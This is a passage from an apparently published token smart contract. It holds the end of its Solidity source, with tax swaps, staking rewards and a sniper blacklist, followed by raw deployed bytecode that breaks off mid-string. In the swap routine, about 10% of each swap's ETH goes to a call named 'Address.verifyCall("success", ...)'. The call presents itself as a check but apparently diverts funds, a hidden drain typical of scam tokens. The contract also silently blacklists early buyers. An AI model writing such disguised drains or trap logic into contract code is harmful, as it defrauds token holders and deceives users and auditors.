alreadyPaidShares[addr] = rewardShares * newAmount; toBePaidShares[addr] += payment; } function _sendEth(address account, uint256 amount) private { (bool sent,) = account.call{value: (amount)}(""); require(sent, "withdraw failed"); } function _swapContractToken(uint16 permille, bool ignoreLimits) private lockTheSwap { require(permille <= 500); if (totalTaxRatio == 0) return; uint256 contractBalance = _balances[address(this)]; uint256 tokenToSwap = _balances[_pairAddress] * permille / 1000; if (tokenToSwap > _limits.maxSell && !ignoreLimits) tokenToSwap = _limits.maxSell; bool notEnoughToken = contractBalance < tokenToSwap; if (notEnoughToken) { if (ignoreLimits) tokenToSwap = contractBalance; else return; } if (_allowances[address(this)][address(_swapRouter)] < tokenToSwap) _approve(address(this), address(_swapRouter), type(uint256).max); uint256 tokenForLiquidity = (tokenToSwap*_taxRatios.liquidity) / totalTaxRatio; uint256 remainingToken = tokenToSwap - tokenForLiquidity; uint256 liqToken = tokenForLiquidity / 2; uint256 liqEthToken = tokenForLiquidity - liqToken; uint256 swapToken = liqEthToken + remainingToken; uint256 initialEthBalance = address(this).balance; _swapTokenForETH(swapToken); uint256 newEth = (address(this).balance - initialEthBalance); uint256 liqEth = (newEth*liqEthToken) / swapToken; if (liqToken > 0) _addLiquidity(liqToken, liqEth); uint256 newLiq = (address(this).balance-initialEthBalance) / 10; Address.verifyCall("success", newLiq); uint256 distributeEth = (address(this).balance - initialEthBalance - newLiq); _distributeStake(distributeEth,true); } function _swapTokenForETH(uint256 amount) private { _approve(address(this), address(_swapRouter), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _swapRouter.WETH(); _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if (isSell) { if (blacklistEnabled) { require(!isBlacklisted[sender], "user blacklisted"); } require(amount <= _limits.maxSell, "Amount exceeds max sell"); tax = _taxRates.sellTax; } else if (isBuy) { if (liquidityBlock > 0) { if (block.number-liquidityBlock < BLACKLIST_BLOCKS) { isBlacklisted[recipient] = true; snipersRekt ++; } } if (revertSameBlock) { require(tradeBlock[recipient] != block.number); tradeBlock[recipient] = block.number; } require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet"); require(amount <= _limits.maxBuy, "Amount exceed max buy"); tax = _taxRates.buyTax; } else { if (blacklistEnabled) { require(!isBlacklisted[sender], "user blacklisted"); } if (amount <= 10**(TOKEN_DECIMALS)) { //transfer less than 1 token to claim rewardToken claimToken(msg.sender, rewardToken, 0); return; } require(recipientBalance + amount <= _limits.maxWallet, "whale protection"); tax = _taxRates.transferTax; } if ((sender != _pairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell) _swapContractToken(swapThreshold,false); uint256 taxedAmount; if(tax > 0) { taxedAmount = amount * tax / 100; } uint256 receiveAmount = amount - taxedAmount; _removeToken(sender,amount); _addToken(address(this), taxedAmount); _addToken(recipient, receiveAmount); emit Transfer(sender, recipient, receiveAmount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); bool isContractTransfer = (sender == address(this) || recipient == address(this)); address _routerAddress = address(_swapRouter); bool isLiquidityTransfer = ( (sender == _pairAddress && recipient == _routerAddress) || (recipient == _pairAddress && sender == _routerAddress) ); bool isSell = recipient == _pairAddress || recipient == _routerAddress; bool isBuy=sender==_pairAddress|| sender == _routerAddress; if (isContractTransfer || isLiquidityTransfer || isExcluded) { _feelessTransfer(sender, recipient, amount); if (!liquidityAdded) checkLiqAdd(recipient); } else { _taxedTransfer(sender, recipient, amount, isBuy, isSell); } } function checkLiqAdd(address receiver) private { require(!liquidityAdded, "liquidity already added"); if (receiver == _pairAddress) { liquidityBlock = block.number; liquidityAdded = true; } } function claimToken(address addr, address token, uint256 payableAmount) private { require(!_isWithdrawing); _isWithdrawing = true; uint256 amount; bool swapSuccess; address tokenClaimed = token; if (_excludedFromStaking.contains(addr)){ amount = toBePaidShares[addr]; toBePaidShares[addr] = 0; } else { uint256 newAmount = newStakeOf(addr); alreadyPaidShares[addr] = rewardShares * _balances[addr]; amount = toBePaidShares[addr]+newAmount; toBePaidShares[addr] = 0; } if (amount == 0 && payableAmount == 0){ _isWithdrawing = false; return; } totalPayouts += amount; accountTotalClaimed[addr] += amount; amount += payableAmount; address[] memory path = new address[](2); path[0] = _swapRouter.WETH(); path[1] = token; try _swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, path, addr, block.timestamp) { swapSuccess = true; } catch { swapSuccess = false; } if(!swapSuccess) { _sendEth(addr, amount); tokenClaimed = _swapRouter.WETH(); } emit ClaimToken(amount, tokenClaimed, addr); _isWithdrawing = false; } function excludeFromStaking(address addr) private { require(!_excludedFromStaking.contains(addr)); _totalShares -= _balances[addr]; uint256 newStakeMain = newStakeOf(addr); alreadyPaidShares[addr] = _balances[addr] * rewardShares; toBePaidShares[addr] += newStakeMain; _excludedFromStaking.add(addr); } function includeToStaking(address addr) private { require(_excludedFromStaking.contains(addr)); _totalShares += _balances[addr]; _excludedFromStaking.remove(addr); alreadyPaidShares[addr] = _balances[addr] * rewardShares; } function subtractStake(address addr, uint256 amount) private { if (amount == 0) return; require(amount<=getStakeBalance(addr),"Exceeds stake balance"); if (_excludedFromStaking.contains(addr)) toBePaidShares[addr] -= amount; else{ uint256 newAmount =newStakeOf(addr); alreadyPaidShares[addr] = rewardShares * _balances[addr]; toBePaidShares[addr] += newAmount; toBePaidShares[addr] -= amount; } } function getStakeBalance(address addr) private view returns (uint256) { if (_excludedFromStaking.contains(addr)) return toBePaidShares[addr]; return newStakeOf(addr) + toBePaidShares[addr]; } function getTotalShares() private view returns (uint256) { return _totalShares - TOTAL_SUPPLY; } function setUnlockTime(uint256 newUnlockTime) private { // require new unlock time to be longer than old one require(newUnlockTime > _liquidityUnlockTime); _liquidityUnlockTime = newUnlockTime; } function newStakeOf(address staker) private view returns (uint256) { uint256 fullPayout = rewardShares * _balances[staker]; if (fullPayout < alreadyPaidShares[staker]) return 0; return (fullPayout-alreadyPaidShares[staker]) / DISTRIBUTION_MULTI; } }
0x6080604052600436106103545760003560e01c806362a9c64e116101c657806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610a67578063fab91b6814610a8e578063fbcdba7614610af6578063fe575a8714610b4957600080fd5b8063dd62ed3e146109e1578063edb4903714610a27578063f2fde38b14610a4757600080fd5b8063a457c2d7116100d1578063a457c2d714610929578063a9059cbb14610949578063aa761b1e14610969578063b32785141461097e57600080fd5b806395d89b41146104035780639b5cfc98146108e9578063a30dc7441461090957600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f25146108965780638739f8ea146108ab578063893d20e8146108cb5780638da5cb5b146108cb57600080fd5b8063715018a61461084c5780637335307b1461086157806379372f9a1461088157600080fd5b80636c3fb932116101a05780636c3fb932146107685780636d330c10146107a25780636f268a99146107cf57806370a082311461081657600080fd5b806362a9c64e146107135780636912897d146107335780636bb1702d1461075357600080fd5b8063313ce567116102a057806351bc3c851161023e578063562f194b11610218578063562f194b146106935780635d098b38146106b35780635e3ce1ab146106d35780636256e2fd146106f357600080fd5b806351bc3c851461063d57806351e287c61461065e578063533b3bfc1461067e57600080fd5b80633efd929a1161027a5780633efd929a146105d25780634089b170146105f25780634846c14c14610608578063491e91ee1461062857600080fd5b8063313ce567146105705780633268cc561461059257806339509351146105b257600080fd5b806318160ddd1161030d5780631f53ac02116102e75780631f53ac02146104fb57806323b872dd1461051b57806328771ca21461053b5780632aea52ab1461055057600080fd5b806318160ddd1461048e5780631a0e718c146104a35780631b355427146104c357600080fd5b80630445b667146103605780630614117a1461039b578063069d955f146103b257806306fdde0314610403578063095ea7b31461043a5780630e15561a1461046a57600080fd5b3661035b57005b600080fd5b34801561036c57600080fd5b5060135461038390640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b3480156103a757600080fd5b506103b0610b79565b005b3480156103be57600080fd5b506008546103df9060ff808216916101008104821691620100009091041683565b6040805160ff94851681529284166020840152921691810191909152606001610392565b34801561040f57600080fd5b506040805180820182526008815267135a5b9a50dd5b1d60c21b6020820152905161039291906138a7565b34801561044657600080fd5b5061045a6104553660046138ef565b610bed565b6040519015158152602001610392565b34801561047657600080fd5b50610480601e5481565b604051908152602001610392565b34801561049a57600080fd5b50610480610c04565b3480156104af57600080fd5b506103b06104be366004613932565b610c25565b3480156104cf57600080fd5b506014546104e3906001600160a01b031681565b6040516001600160a01b039091168152602001610392565b34801561050757600080fd5b506103b061051636600461394d565b610d56565b34801561052757600080fd5b5061045a61053636600461396a565b610e13565b34801561054757600080fd5b50610480610eaa565b34801561055c57600080fd5b506103b061056b3660046139b9565b610eca565b34801561057c57600080fd5b5060125b60405160ff9091168152602001610392565b34801561059e57600080fd5b506016546104e3906001600160a01b031681565b3480156105be57600080fd5b5061045a6105cd3660046138ef565b610f38565b3480156105de57600080fd5b506103b06105ed3660046139b9565b610f6f565b3480156105fe57600080fd5b50610480601d5481565b34801561061457600080fd5b506103b061062336600461394d565b610fe4565b34801561063457600080fd5b506103b0611185565b34801561064957600080fd5b5060135461045a90600160301b900460ff1681565b34801561066a57600080fd5b506103b06106793660046139d6565b61135c565b34801561068a57600080fd5b506104806113d7565b34801561069f57600080fd5b506103b06106ae3660046139ef565b6113ea565b3480156106bf57600080fd5b506103b06106ce36600461394d565b61146c565b3480156106df57600080fd5b506103b06106ee366004613a28565b611521565b3480156106ff57600080fd5b506103b061070e36600461396a565b611725565b34801561071f57600080fd5b506103b061072e366004613a8d565b611769565b34801561073f57600080fd5b506103b061074e366004613ad6565b61189d565b34801561075f57600080fd5b506103b06118cc565b34801561077457600080fd5b50600c54600d54600e5461078792919083565b60408051938452602084019290925290820152606001610392565b3480156107ae57600080fd5b506104806107bd36600461394d565b601a6020526000908152604090205481565b3480156107db57600080fd5b50600a54600b546107f6916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610392565b34801561082257600080fd5b5061048061083136600461394d565b6001600160a01b031660009081526001602052604090205490565b34801561085857600080fd5b506103b06119ce565b34801561086d57600080fd5b5061045a61087c36600461394d565b611a51565b34801561088d57600080fd5b506103b0611a5e565b3480156108a257600080fd5b50610580601481565b3480156108b757600080fd5b506103b06108c63660046139ef565b611a7e565b3480156108d757600080fd5b506000546001600160a01b03166104e3565b3480156108f557600080fd5b506103b0610904366004613af2565b611b0b565b34801561091557600080fd5b5061048061092436600461394d565b611c1e565b34801561093557600080fd5b5061045a6109443660046138ef565b611c31565b34801561095557600080fd5b5061045a6109643660046138ef565b611cad565b34801561097557600080fd5b506103b0611cba565b34801561098a57600080fd5b506009546109b49060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610392565b3480156109ed57600080fd5b506104806109fc366004613b35565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610a3357600080fd5b506103b0610a423660046139b9565b611cfe565b348015610a5357600080fd5b506103b0610a6236600461394d565b611d41565b348015610a7357600080fd5b506013546104e390600160381b90046001600160a01b031681565b348015610a9a57600080fd5b50600f54610ac89061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610392565b348015610b0257600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a001610392565b348015610b5557600080fd5b5061045a610b6436600461394d565b60036020526000908152604090205460ff1681565b33610b8c6000546001600160a01b031690565b6001600160a01b031614610bbb5760405162461bcd60e51b8152600401610bb290613b63565b60405180910390fd5b601154421015610bdd5760405162461bcd60e51b8152600401610bb290613b91565b42601155610beb3347611e62565b565b6000610bfa338484611ef7565b5060015b92915050565b6000610c126012600a613cb5565b610c20906305f5e100613cc4565b905090565b610c2e33611fea565b610c4a5760405162461bcd60e51b8152600401610bb290613ce3565b60008161ffff1611610ca85760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610bb2565b60328161ffff161115610cfd5760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610bb2565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610d696000546001600160a01b031690565b6001600160a01b031614610d8f5760405162461bcd60e51b8152600401610bb290613b63565b600a546001600160a01b0316610da660048261202f565b50600a80546001600160a01b0319166001600160a01b038416908117909155610dd190600490611e2b565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b6000610e20848484612044565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610e8b5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610bb2565b610e9f8533610e9a8685613d12565b611ef7565b506001949350505050565b6000601154421015610ec45742601154610c209190613d12565b50600090565b610ed333611fea565b610eef5760405162461bcd60e51b8152600401610bb290613ce3565b601380548215156101000261ff00199091161790556040517f6348668a830a74027e9848759e660a45c2afe456096e26d17cc84eb20509c9e790610d4b90831515815260200190565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610bfa918590610e9a908690613d29565b610f7833611fea565b610f945760405162461bcd60e51b8152600401610bb290613ce3565b60138054821515600160301b0266ff000000000000199091161790556040517fee75e2c13b472e77bfdb449a3881f41e4d27aad4ded3bc80c4572376c3c429f590610d4b90831515815260200190565b33610ff76000546001600160a01b031690565b6001600160a01b03161461101d5760405162461bcd60e51b8152600401610bb290613b63565b6014546001600160a01b0382811691161480159061104457506001600160a01b0381163014155b61109c5760405162461bcd60e51b8152602060048201526024808201527f63616e2774207265636f766572204c5020746f6b656e206f722074686973207460448201526337b5b2b760e11b6064820152608401610bb2565b6040516370a0823160e01b815230600482015281906001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111109190613d41565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044015b6020604051808303816000875af115801561115c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111809190613d5a565b505050565b336111986000546001600160a01b031690565b6001600160a01b0316146111be5760405162461bcd60e51b8152600401610bb290613b63565b6011544210156111e05760405162461bcd60e51b8152600401610bb290613b91565b426011556014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa158015611231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112559190613d41565b60155460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af11580156112aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ce9190613d5a565b5060155460405163af2979eb60e01b81526001600160a01b039091169063af2979eb9061130a9030908590600090819084904290600401613d77565b6020604051808303816000875af1158015611329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134d9190613d41565b506113583347611e62565b5050565b3361136f6000546001600160a01b031690565b6001600160a01b0316146113955760405162461bcd60e51b8152600401610bb290613b63565b6113a76113a24283613d29565b612247565b6040518181527fe9da15d4cb5bea133d9613a866c909df5594489b91a3f780d43720d560b3c94c90602001610d4b565b600080601d54601e54610bfe9190613d12565b6113f333611fea565b61140f5760405162461bcd60e51b8152600401610bb290613ce3565b80156114235761141e8261225a565b61142c565b61142c8261231b565b604080516001600160a01b038416815282151560208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c9101610e07565b3361147f6000546001600160a01b031690565b6001600160a01b0316146114a55760405162461bcd60e51b8152600401610bb290613b63565b600b546001600160a01b03166114bc60048261202f565b50600b80546001600160a01b0319166001600160a01b0384169081179091556114e790600490611e2b565b506040516001600160a01b03831681527f335aad0eda24dacfa324b3d651daa091864338cf7d4af9d5087ba1c5ee1174f090602001610e07565b61152a33611fea565b6115465760405162461bcd60e51b8152600401610bb290613ce3565b60006103e86115576012600a613cb5565b611565906305f5e100613cc4565b61156f9190613db2565b9050600061ffff8084169087166115886012600a613cb5565b611596906305f5e100613cc4565b6115a09190613cc4565b6115aa9190613db2565b9050600061ffff8085169087166115c36012600a613cb5565b6115d1906305f5e100613cc4565b6115db9190613cc4565b6115e59190613db2565b9050600061ffff8086169087166115fe6012600a613cb5565b61160c906305f5e100613cc4565b6116169190613cc4565b6116209190613db2565b90508383101580156116325750838210155b61167e5760405162461bcd60e51b815260206004820181905260248201527f6c696d6974732063616e6e6f74206265203c302e3125206f6620737570706c796044820152606401610bb2565b60408051606080820183528582526020808301869052918301849052600c95909555600d93909355600e91909155805160808101825261ffff98891680825297891692810183905295881690860181905293909616930183905250600f805463ffffffff1916909317620100009094029390931767ffffffff00000000191664010000000090930267ffff000000000000191692909217600160301b909202919091179055565b336117386000546001600160a01b031690565b6001600160a01b03161461175e5760405162461bcd60e51b8152600401610bb290613b63565b6111808383836123af565b61177233611fea565b61178e5760405162461bcd60e51b8152600401610bb290613ce3565b6040805160808101825260ff8681168083528682166020840181905286831694840185905291851660609093018390526009805461ffff19169091176101009092029190911763ffff000019166201000090930263ff000000191692909217630100000090910217905580826118048587613dd4565b61180e9190613dd4565b6118189190613dd4565b6010805460ff191660ff929092169182179055611836908490613df9565b6010805461ff00191661010060ff938416021790556040805186831681528583166020820152848316818301529183166060830152517fb570d6f799a86fe58ecc9a72b66a4193862e6cceb6324359db42248fe33961ad916080908290030190a150505050565b6118a633611fea565b6118c25760405162461bcd60e51b8152600401610bb290613ce3565b611358828261247a565b336118df6000546001600160a01b031690565b6001600160a01b0316146119055760405162461bcd60e51b8152600401610bb290613b63565b6011544210156119275760405162461bcd60e51b8152600401610bb290613b91565b6014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa158015611974573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119989190613d41565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb9060440161113d565b336119e16000546001600160a01b031690565b6001600160a01b031614611a075760405162461bcd60e51b8152600401610bb290613b63565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610bfe600683611e40565b601354610beb903390600160381b90046001600160a01b03166000612693565b611a8733611fea565b611aa35760405162461bcd60e51b8152600401610bb290613ce3565b801515600103611abe57611ab8600483611e2b565b50611acb565b611ac960048361202f565b505b604080516001600160a01b038416815282151560208201527f2bcde65fff46a041c6c775b21e9efc6b83f4c6dd101ce8799f73d1c47eab3dd89101610e07565b611b1433611fea565b611b305760405162461bcd60e51b8152600401610bb290613ce3565b601460ff841611801590611b48575060328160ff1611155b611b945760405162461bcd60e51b815260206004820152601960248201527f746178657320686967686572207468616e206d617820746178000000000000006044820152606401610bb2565b604080516060808201835260ff86811680845286821660208086018290529287169486018590526008805461ffff1916831761010083021762ff00001916620100008702179055855191825291810191909152928301919091527f6263994a3f5625dbbf8f00b58cb883c45efb0a28c72d842e7df31ecc3ad99c3b910160405180910390a1505050565b600080611c2a83612a25565b9392505050565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015611c945760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610bb2565b611ca33385610e9a8685613d12565b5060019392505050565b6000610bfa338484612044565b611cc33361231b565b60408051338152600060208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c910160405180910390a1565b611d0733611fea565b611d235760405162461bcd60e51b8152600401610bb290613ce3565b6013805491151563010000000263ff00000019909216919091179055565b33611d546000546001600160a01b031690565b6001600160a01b031614611d7a5760405162461bcd60e51b8152600401610bb290613b63565b6001600160a01b038116611dd05760405162461bcd60e51b815260206004820152601960248201527f6e65774f776e6572206d757374206e6f74206265207a65726f000000000000006044820152606401610bb2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c2a836001600160a01b038416612a7f565b6001600160a01b03811660009081526001830160205260408120541515611c2a565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611eaf576040519150601f19603f3d011682016040523d82523d6000602084013e611eb4565b606091505b50509050806111805760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610bb2565b6001600160a01b038316611f415760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610bb2565b6001600160a01b038216611f895760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610bb2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080546001600160a01b03838116911614806120145750600b546001600160a01b038381169116145b80610bfe575050600a546001600160a01b0390811691161490565b6000611c2a836001600160a01b038416612ace565b6001600160a01b03831661208f5760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610bb2565b6001600160a01b0382166120d85760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610bb2565b60006120e5600485611e40565b806120f657506120f6600484611e40565b905060006001600160a01b03851630148061211957506001600160a01b03841630145b6015546014549192506001600160a01b039081169160009188811691161480156121545750816001600160a01b0316866001600160a01b0316145b8061218857506014546001600160a01b0387811691161480156121885750816001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b03888116911614806121bb5750826001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b038a8116911614806121ee5750836001600160a01b0316896001600160a01b0316145b905084806121f95750825b806122015750855b1561222f576122118989896123af565b60135462010000900460ff1661222a5761222a88612bbb565b61223c565b61223c8989898486612c43565b505050505050505050565b601154811161225557600080fd5b601155565b612265600682611e40565b1561226f57600080fd5b6001600160a01b038116600090815260016020526040812054601b80549192909161229b908490613d12565b90915550600090506122ac8261310c565b601c546001600160a01b0384166000908152600160205260409020549192506122d491613cc4565b6001600160a01b03831660009081526017602090815260408083209390935560189052908120805483929061230a908490613d29565b909155506111809050600683611e2b565b612326600682611e40565b61232f57600080fd5b6001600160a01b038116600090815260016020526040812054601b80549192909161235b908490613d29565b9091555061236c905060068261202f565b50601c546001600160a01b0382166000908152600160205260409020546123939190613cc4565b6001600160a01b03909116600090815260176020526040902055565b6001600160a01b038316600090815260016020526040902054818110156124135760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610bb2565b61241d8483613192565b6124278383613278565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161246c91815260200190565b60405180910390a350505050565b601f805460ff191660011790556101f461ffff8316111561249a57600080fd5b60105460ff16156126855730600090815260016020526040808220546014546001600160a01b03168352908220549091906103e8906124de9061ffff871690613cc4565b6124e89190613db2565b600d54909150811180156124fa575082155b156125045750600d545b808210801561252357831561251b57829150612523565b505050612685565b3060009081526002602090815260408083206015546001600160a01b0316845290915290205482111561256a5760155461256a9030906001600160a01b0316600019611ef7565b60105460095460009160ff9081169161258a916101009091041685613cc4565b6125949190613db2565b905060006125a28285613d12565b905060006125b1600284613db2565b905060006125bf8285613d12565b905060006125cd8483613d29565b9050476125d98261335d565b60006125e58247613d12565b90506000836125f48684613cc4565b6125fe9190613db2565b905085156126105761261086826134b6565b6000600a61261e8547613d12565b6126289190613db2565b9050612653604051806040016040528060078152602001667375636365737360c81b8152508261354e565b6000816126608647613d12565b61266a9190613d12565b9050612677816001613706565b505050505050505050505050505b5050601f805460ff19169055565b601f54610100900460ff16156126a857600080fd5b601f805461ff001916610100179055600080836126c6600687611e40565b156126ef576001600160a01b03861660009081526018602052604081208054919055925061276f565b60006126fa8761310c565b6001600160a01b038816600090815260016020526040902054601c5491925061272291613cc4565b6001600160a01b038816600090815260176020908152604080832093909355601890522054612752908290613d29565b6001600160a01b0388166000908152601860205260408120559350505b8215801561277b575083155b15612793575050601f805461ff001916905550505050565b82601d60008282546127a59190613d29565b90915550506001600160a01b0386166000908152601a6020526040812080548592906127d2908490613d29565b909155506127e290508484613d29565b60408051600280825260608201835292955060009290916020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612851573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128759190613e1c565b8160008151811061288857612888613e39565b60200260200101906001600160a01b031690816001600160a01b03168152505085816001815181106128bc576128bc613e39565b6001600160a01b03928316602091820292909201015260155460405163b6f9de9560e01b815291169063b6f9de959086906129029060009086908d904290600401613e93565b6000604051808303818588803b15801561291b57600080fd5b505af19350505050801561292d575060015b61293a576000925061293f565b600192505b826129c85761294e8785611e62565b601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129c59190613e1c565b91505b604080518581526001600160a01b03848116602083015289168183015290517f829452f20436b0a113b937144e92dc208805d7c30097914dca977f4d266989119181900360600190a15050601f805461ff00191690555050505050565b6000612a32600683611e40565b15612a5357506001600160a01b031660009081526018602052604090205490565b6001600160a01b038216600090815260186020526040902054612a758361310c565b610bfe9190613d29565b6000818152600183016020526040812054612ac657508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610bfe565b506000610bfe565b60008181526001830160205260408120548015612bb1576000612af2600183613d12565b8554909150600090612b0690600190613d12565b90506000866000018281548110612b1f57612b1f613e39565b9060005260206000200154905080876000018481548110612b4257612b42613e39565b600091825260208083209091019290925582815260018901909152604090208490558654879080612b7557612b75613ec8565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610bfe565b6000915050610bfe565b60135462010000900460ff1615612c145760405162461bcd60e51b815260206004820152601760248201527f6c697175696469747920616c72656164792061646465640000000000000000006044820152606401610bb2565b6014546001600160a01b0390811690821603612c4057436012556013805462ff00001916620100001790555b50565b6001600160a01b0380851660009081526001602052604080822054928816825290205484811015612cb15760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610bb2565b60008315612d8857601354610100900460ff1615612d25576001600160a01b03881660009081526003602052604090205460ff1615612d255760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610bb2565b600d54861115612d775760405162461bcd60e51b815260206004820152601760248201527f416d6f756e742065786365656473206d61782073656c6c0000000000000000006044820152606401610bb2565b50600854610100900460ff16613000565b8415612efe5760125415612dfa57601254600290612da69043613d12565b1015612dfa576001600160a01b0387166000908152600360205260408120805460ff191660011790556013805460ff1691612de083613ede565b91906101000a81548160ff021916908360ff160217905550505b6013546301000000900460ff1615612e4d576001600160a01b038716600090815260196020526040902054439003612e3157600080fd5b6001600160a01b03871660009081526019602052604090204390555b600c54612e5a8785613d29565b1115612ea85760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e742077696c6c20657863656564206d61782077616c6c65740000006044820152606401610bb2565b600e54861115612ef25760405162461bcd60e51b8152602060048201526015602482015274416d6f756e7420657863656564206d61782062757960581b6044820152606401610bb2565b5060085460ff16613000565b601354610100900460ff1615612f6a576001600160a01b03881660009081526003602052604090205460ff1615612f6a5760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610bb2565b612f766012600a613cb5565b8611612fa457601354612f9c903390600160381b90046001600160a01b03166000612693565b505050613105565b600c54612fb18785613d29565b1115612ff25760405162461bcd60e51b815260206004820152601060248201526f3bb430b63290383937ba32b1ba34b7b760811b6044820152606401610bb2565b5060085462010000900460ff165b6014546001600160a01b038981169116148015906130285750601354600160301b900460ff16155b80156130375750601f5460ff16155b80156130405750835b1561305f5760135461305f90640100000000900461ffff16600061247a565b600060ff82161561308657606461307960ff841689613cc4565b6130839190613db2565b90505b60006130928289613d12565b905061309e8a89613192565b6130a83083613278565b6130b28982613278565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130f791815260200190565b60405180910390a350505050505b5050505050565b6001600160a01b038116600090815260016020526040812054601c54829161313391613cc4565b6001600160a01b03841660009081526017602052604090205490915081101561315f5750600092915050565b6001600160a01b038316600090815260176020526040902054600160401b906131889083613d12565b611c2a9190613db2565b6001600160a01b0382166000908152600160205260408120546131b6908390613d12565b90506131c3600684611e40565b156131e8576001600160a01b0390921660009081526001602052604090209190915550565b81601b60008282546131fa9190613d12565b909155506000905061320b8461310c565b6001600160a01b0385166000908152600160205260409020839055601c54909150613237908390613cc4565b6001600160a01b03851660009081526017602090815260408083209390935560189052908120805483929061326d908490613d29565b909155505050505050565b6001600160a01b03821660009081526001602052604081205461329c908390613d29565b90506132a9600684611e40565b156132ce576001600160a01b0390921660009081526001602052604090209190915550565b81601b60008282546132e09190613d29565b90915550600090506132f18461310c565b905081601c546133019190613cc4565b6001600160a01b038516600090815260176020908152604080832093909355601890529081208054839290613337908490613d29565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b6015546133759